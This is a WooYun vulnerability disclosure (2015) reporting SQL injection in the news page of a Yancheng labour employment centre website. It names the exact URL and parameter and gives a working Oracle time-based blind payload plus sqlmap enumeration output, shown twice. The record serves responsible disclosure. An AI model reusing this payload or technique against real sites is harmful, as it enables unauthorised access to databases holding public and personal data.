当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0121212

漏洞标题:盐城市劳动就业中心网站存在SQL注入.多库

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-06-18 15:48

修复时间:2015-08-07 09:06

公开时间:2015-08-07 09:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-18: 细节已通知厂商并且等待厂商处理中
2015-06-23: 厂商已经确认,细节仅向厂商公开
2015-07-03: 细节向核心白帽子及相关领域专家公开
2015-07-13: 细节向普通白帽子公开
2015-07-23: 细节向实习白帽子公开
2015-08-07: 细节向公众公开

简要描述:

SQL.爆路径

详细说明:

URL
http://www.yc91.com/news_show.php?id=1506003492

---
Parameter: id (GET)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: id=1506003492 AND 1746=DBMS_PIPE.RECEIVE_MESSAGE(CHR(107)||CHR(98)||CHR(118)||CHR(87),5)
---
[17:22:54] [INFO] the back-end DBMS is Oracle
web application technology: Apache 2.2.9, PHP 5.1.6
back-end DBMS: Oracle
[17:22:54] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[17:22:54] [INFO] fetching database (schema) names
[17:22:54] [INFO] fetching number of databases
[17:22:54] [INFO] retrieved:
[17:22:54] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[17:22:58] [INFO] adjusting time delay to 2 seconds due to good response times
[17:23:00] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[17:23:00] [ERROR] unable to retrieve the number of databases
[17:23:00] [INFO] falling back to current database
[17:23:00] [INFO] fetching current database
[17:23:00] [INFO] retrieved: YC91_COM
[17:24:17] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes
available databases [1]:
[*] YC91_COM
[17:24:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.yc91.com'


59.1.png


55个库.防止查水表.就不继续下去了

59.2.png


漏洞证明:

URL
http://www.yc91.com/news_show.php?id=1506003492

---
Parameter: id (GET)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: id=1506003492 AND 1746=DBMS_PIPE.RECEIVE_MESSAGE(CHR(107)||CHR(98)||CHR(118)||CHR(87),5)
---
[17:22:54] [INFO] the back-end DBMS is Oracle
web application technology: Apache 2.2.9, PHP 5.1.6
back-end DBMS: Oracle
[17:22:54] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[17:22:54] [INFO] fetching database (schema) names
[17:22:54] [INFO] fetching number of databases
[17:22:54] [INFO] retrieved:
[17:22:54] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[17:22:58] [INFO] adjusting time delay to 2 seconds due to good response times
[17:23:00] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[17:23:00] [ERROR] unable to retrieve the number of databases
[17:23:00] [INFO] falling back to current database
[17:23:00] [INFO] fetching current database
[17:23:00] [INFO] retrieved: YC91_COM
[17:24:17] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes
available databases [1]:
[*] YC91_COM
[17:24:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.yc91.com'


59.1.png


55个库.防止查水表.就不继续下去了

59.2.png


修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-06-23 09:05

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置.

最新状态:

暂无